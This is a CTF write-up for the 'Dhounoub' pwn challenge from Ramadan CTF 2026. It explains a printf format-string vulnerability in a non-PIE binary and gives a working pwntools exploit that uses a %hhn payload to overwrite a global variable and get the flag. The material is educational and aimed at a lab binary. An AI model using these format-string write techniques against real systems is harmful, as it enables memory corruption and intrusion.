Post

Ramadan CTF 2026 - Dhounoub

Ramadan CTF 2026 - Dhounoub

[ Dhounoub ] Writeup

Category: Pwn (Format String)
Difficulty: Easy-Medium
Author: 4n7h4r4x

challenge

Access all challenges here:
GitHub Repository

Tools Used

  • ghidra / gdb for reverse engineering
  • python3 (pwntools) for exploit scripting

Overview

“Dhounoub” means “sins” in Arabic – fitting for a Ramadan-themed challenge about clearing them out. The binary has a format string vulnerability that we can use to overwrite a global variable and unlock the flag.


Initial Recon

Running file and checksec on the binary:

file and checksec

Key observation: the binary is non-PIE (no position-independent executable). This means all addresses are fixed and known at compile time – great for format string attacks since we know exactly where our target lives.


Reverse Engineering

Opening the binary in Ghidra, we find the dhounoub_test function:

ghidra ghidra

Here’s the logic:

  1. A local variable is initialized to 0.
  2. Our input (up to 0x206 bytes) is read into a stack buffer.
  3. Our input is passed directly to printf(input)format string vulnerability!
  4. It then checks if 0 - dhounoub > 0 (where dhounoub is a global variable initialized to 0). For this check to pass, dhounoub must be negative (i.e., its most significant bit must be set).
  5. If the check passes, it opens flag.txt and prints the flag.

So our goal is: use the format string vulnerability to set the dhounoub global variable to a negative value (like 0xffffffff).

Tip: In a non-PIE binary, you can find the address of any global symbol with readelf -s ./dhounoub | grep dhounoub or directly in Ghidra or via gdb xD.


Finding Our Stack Offset

Before we can write anything with format strings, we need to know where our input buffer sits on the stack. We send a pattern and look for it:

1
AAAAAAAA.%6$p.%7$p.%8$p...%16$p...%20$p

fuzzing

After testing, our buffer starts at position 16 on the stack (64-bit). This means %16$p will print the first 8 bytes of our input.

Tip: In 64-bit format string exploits, the first 6 arguments go through registers (rdi, rsi, rdx, rcx, r8, r9), then stack positions start. Your buffer’s position depends on how deep on the stack it lives.


Crafting the Payload

Since the binary is non-PIE, the dhounoub symbol is at a fixed address. We need to make it negative, so we overwrite its most significant byte (byte at dhounoub + 3 for a 4-byte int) with 0xff.

The format string %Nx prints N characters (padding), and %K$hhn writes the number of characters printed so far (mod 256) into the byte pointed to by the K-th argument.

We want to write 0xff (255) to dhounoub + 3:

  • Print exactly 255 characters: %255x
  • Write that count as a single byte: %18$hhn (position 18 = our address on the stack after padding)
  • Place the target address after the format string, aligned to position 18
1
payload = b"%255x%18$hhnAAAA" + p64(dhounoub + 3)

The AAAA padding ensures the address is properly aligned to the 18th stack position.


Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.binary = elf = ELF("./dhounoub", checksec=False)

#p = elf.process()
p = remote("localhost", 8080)

offset = 16
dhounoub = elf.sym.dhounoub
value = 0xffffffff

#   MANUAL payload
pay = b"%255x%18$hhnAAAA" + p64(dhounoub + 3)

p.recvuntil(b">")
p.send(pay)

p.interactive()

flag


Key Takeaways

  • Format string vulnerabilities let you both read (%p, %x) and write (%n, %hn, %hhn) arbitrary memory.
  • %hhn writes a single byte – the number of characters printed so far, modulo 256. This gives precise control.
  • In non-PIE binaries, global variable addresses are fixed, making format string writes straightforward since you don’t need to leak anything first.
  • When you need a variable to be negative (signed comparison), setting the MSB to 0xff does the trick.

Helpful Resources

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.